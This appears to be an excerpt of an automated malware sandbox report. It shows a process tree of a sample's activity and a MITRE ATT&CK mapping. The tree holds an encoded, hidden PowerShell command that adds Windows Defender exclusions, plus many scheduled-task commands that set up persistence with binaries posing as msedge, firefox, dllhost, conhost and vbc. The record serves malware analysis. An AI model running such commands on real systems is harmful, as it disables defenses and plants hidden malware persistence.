powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABBAHQAdAByAGkAYgB1AHQAZQBTAHQAcgBpAG4AZwAuAGUAeABlADsA
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:756

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:1304

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6580

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:6316

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:7164

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4644

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 5 /tr "'C:\Windows\Globalization\Sorting\msedge.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6328

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedge" /sc ONLOGON /tr "'C:\Windows\Globalization\Sorting\msedge.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5492

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 10 /tr "'C:\Windows\Globalization\Sorting\msedge.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6068

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\Pictures\Saved Pictures\firefox.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6164

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefox" /sc ONLOGON /tr "'C:\Users\Admin\Pictures\Saved Pictures\firefox.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "firefoxf" /sc MINUTE /mo 14 /tr "'C:\Users\Admin\Pictures\Saved Pictures\firefox.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6332

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\Searches\msedge.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4292

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedge" /sc ONLOGON /tr "'C:\Users\Admin\Searches\msedge.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6692

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 13 /tr "'C:\Users\Admin\Searches\msedge.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3528

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 5 /tr "'C:\DriverHostCrtNet\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5192

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\DriverHostCrtNet\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 8 /tr "'C:\DriverHostCrtNet\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6608

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 11 /tr "'C:\DriverHostCrtNet\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6644

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\DriverHostCrtNet\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:6720

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\DriverHostCrtNet\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5600

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "vbcv" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\vbc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5732

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "vbc" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\vbc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5680

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "vbcv" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\vbc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Scripting

T1064

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Scripting

T1064

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery